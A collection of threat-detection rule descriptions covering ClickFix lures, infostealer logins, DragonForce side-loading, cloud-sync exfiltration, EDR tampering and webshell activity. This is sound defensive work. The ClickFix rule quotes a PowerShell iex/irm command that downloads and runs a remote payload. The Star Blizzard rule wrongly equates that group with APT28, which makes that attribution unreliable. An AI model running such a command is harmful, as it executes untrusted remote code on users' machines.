Detects the ClickFix social-engineering technique from the third-party.com report: a fake CAPTCHA/Cloudflare page tricks a user into pressing Win+R, pasting a clipboard-poisoned command, and hitting Enter, launching PowerShell (spawned by explorer.exe, the Run dialog's parent) that chains Invoke-RestMethod (irm) into Invoke-Expression (iex) to fetch and execute a remote payload in memory, e.g. powershell "Write-Host(&{iex(irm('<url>'))})2>$null". Reference IOCs from the report: lure domain third-party[.]com, second-stage payload elxxvvx[.]xyz/f.

Detects instances where a suspicious PowerShell, mshta, or pwsh command, typically involving download or obfuscation patterns, is launched as a child process of Windows Explorer within two minutes of a modification to the Explorer RunMRU registry key. This behavior is indicative of an adversary attempting to achieve execution, often following user interaction or persistence triggers.

Detects instances where a user account associated with a detected infostealer malware infection (e.g., Redline, Raccoon, Vidar) successfully authenticates to a cloud service from a suspicious network location, such as a VPN, residential proxy, or Tor exit node, within 24 hours of the infection alert.

This rule detects activities associated with the Star Blizzard (also known as APT28 or Callisto) group's CosmicPulse malware, specifically the downloader and Python-based backdoor. It monitors for suspicious CPL file execution via UNC paths by rundll32.exe or control.exe, unauthorized modifications to the HKCU\Software\Classes\.mollis registry key used for COM hijacking, and anomalous spawning of Python executables from control host processes in user-writable directories.

Detects a multi-stage process execution chain involving PowerShell: first, a script-based download of remote content, followed by in-memory reflection, and finally, suspicious memory allocation or thread manipulation within the same process context. This pattern is characteristic of fileless malware execution chains designed to evade disk-based detection.

Detects a specific persistence chain attributed to DragonForce where the 'javaw.exe' process side-loads a malicious 'jli.dll' from a non-standard, user-writable directory. The rule correlates this DLL image load with the subsequent reading of an encrypted, host-bound payload file ('rvsdiqw.txt') by the same process, which is then decrypted and injected into memory.

004
Detects anomalous execution of PowerShell commands spawned by processes identified as 'javaw.exe' or 'GlobalTellurSync.exe' (associated with DragonForce backdoor activity). The detection focuses on instances where these processes launch from non-standard user-writable directories (e.g., AppData, Temp) and execute PowerShell commands that contain obfuscated arguments or payloads, while excluding standard scheduled task invocations.

Detects the execution of known cloud synchronization utilities like rclone, megasync, or megacmd, which are frequently leveraged by ransomware operators to exfiltrate data to public cloud storage providers. The rule monitors both local process execution with typical command-line arguments and subsequent outbound network connections to common cloud storage domains.

Detects multiple attempts to disable, stop, or tamper with security products, backup solutions, or AV/EDR agents. The rule monitors for malicious use of sc.exe, net.exe, taskkill.exe, and PowerShell cmdlets targeting security software, as well as registry modifications to disable security protections. This behavior is commonly observed in post-compromise stages of ransomware attacks for defense evasion.

Detects the GOST tunnel binary deployed as svchost.exe from a staging directory, identified by its known hash, or by an unsigned PE importing config.dll with a matching MZ header and embedded config.dll reference (reduces FPs from legitimately signed software that imports a DLL of the same name)

Detects web server processes (e.g., IIS w3wp.exe, Apache, Nginx, PHP-FPM) spawning suspicious child processes such as command shells (cmd, powershell, bash, sh), network utilities (curl, wget), or interpreters (python, perl). This behavior is strongly indicative of exploitation of a public-facing web application and the subsequent execution of a webshell or post-exploitation command activity.

Detects process/file hashes associated with the ChatGPT Custom GPT ClickFix
campaign via Windows process_creation telemetry. Split from the combined IOC
hunt: Sigma supports only one logsource per rule, so IP/domain/URL matching live
in separate network_connection and dns_query rules.

This rule detects various malicious indicators including known file hashes, IP addresses, domains, and specific URLs associated with threat activity. It consolidates hits from process, file, and network telemetry to alert on potential compromise or communication with identified command-and-control (C2) infrastructure.

Detects execution of masqueraded wsl.exe binary.
Attackers can rename a malicious payload to wsl.exe to masquerade as the legitimate Windows Subsystem for Linux binary,
bypassing detection based on image name alone and abusing user trust in the WSL process name.

Detects the execution of '1.bat' when it invokes administrative or sensitive utilities such as schtasks.exe, reg.exe, or specific executables like LockScreenContentServer.exe. This activity is indicative of a persistence mechanism being established or the initiation of a DLL side-loading chain.

Detects a suspicious Microsoft Teams MSI installer (msiexec.exe) spawning a PowerShell child process or referencing a known dead-drop resolver domain. This behavior is indicative of a trojanized installer used as an initial access vector to execute malicious payloads.

This rule detects unauthorized or suspicious modifications to Windows Defender exclusion registry keys. It monitors for registry key/value creation or set operations within Defender's exclusion paths for files or extensions. The rule evaluates the process responsible for the modification (e.g., expecting MsMpEng.exe for native keys or specific svchost.exe/gpsvc parameters for GPO keys) and flags modifications made by unauthorized processes or those involving suspicious, broad, or high-risk paths like C:\, C:\Temp, or User Public folders.
